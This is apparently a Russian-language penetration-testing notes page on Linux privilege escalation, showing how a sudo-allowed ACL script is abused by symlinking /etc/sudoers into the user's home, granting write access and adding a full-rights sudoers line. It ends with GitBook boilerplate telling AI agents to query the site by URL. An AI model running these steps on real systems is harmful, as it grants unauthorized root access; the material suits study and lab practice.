> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/sudoers/sudo-acl-symlink-linux-privilege-escalation.md).

# Sudo ACL/символическая ссылка — повышение привилегий в Linux

## Что это такое

Повышение привилегий в sudoers начинается с команд, которые пользователь может запускать через `sudo`. Неправильно настроенные бинарные файлы, небезопасные аргументы скриптов, обработка символических ссылок и уязвимые версии sudo могут превратить ограниченные права sudo в оболочку root. Эта конкретная страница посвящена **Sudo ACL / символическая ссылка** и делает процесс эксплуатации практичным: определить условие, безопасно его проверить, а затем запустить минимальный полезный код, необходимый для подтверждения воздействия.

## Перечисление

Сначала подтвердите локальный контекст и точную ошибку настройки перед запуском пути эксплуатации.

```bash
sudo -l
sudo --version
```

## Примеры

Выполнив `sudo -l` командой мы обнаруживаем, что мы можем запускать скрипт от имени **root**.

```bash
sudo -l
```

<figure><img src="/files/4c4b41836a0b99ae6c189b150fc60fdca89a1b79" alt=""><figcaption></figcaption></figure>

Этот Bash-скрипт изменяет права доступа пользователя к определённому файлу с помощью ACL после проверки правильности пути и того, что цель является файлом.

<figure><img src="/files/976d6da13c4c9afbe1514911f1a1eddcd1c0aacb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/72893c8e06059f183b857ab3797725eda6dcf4c1" alt=""><figcaption></figcaption></figure>

Наконец, давайте предоставим пользователю mtz права на чтение и запись файла

```bash
sudo /opt/acl.sh mtz rw /etc/sudoers
```

Возникает ошибка, потому что файл должен находиться в нашей `/home/mtz` каталога

<figure><img src="/files/bf42c0a0ebc5ebf08291926e36aaae56b096e85b" alt="" width="535"><figcaption></figcaption></figure>

Чтобы обойти это, можно создать символическую ссылку от системного файла к `/home/mtz/` каталогу и запустить скрипт по этой ссылке.

```bash
ln -s /etc/sudoers /home/mtz/sudoers_link
sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link
```

<figure><img src="/files/c6f14b628d79c80ec69ce1710ac9cf60f45f3b8e" alt=""><figcaption></figcaption></figure>

Нам нужно изменить файл "suders/ link", который обновит файл sudoers, чтобы дать все права пользователю mtz.

```bash
mtz ALL=(ALL:ALL) ALL
```

<figure><img src="/files/1e70991d0efc22a0d98da8b7a7129b062e28d7ca" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/sudoers/sudo-acl-symlink-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
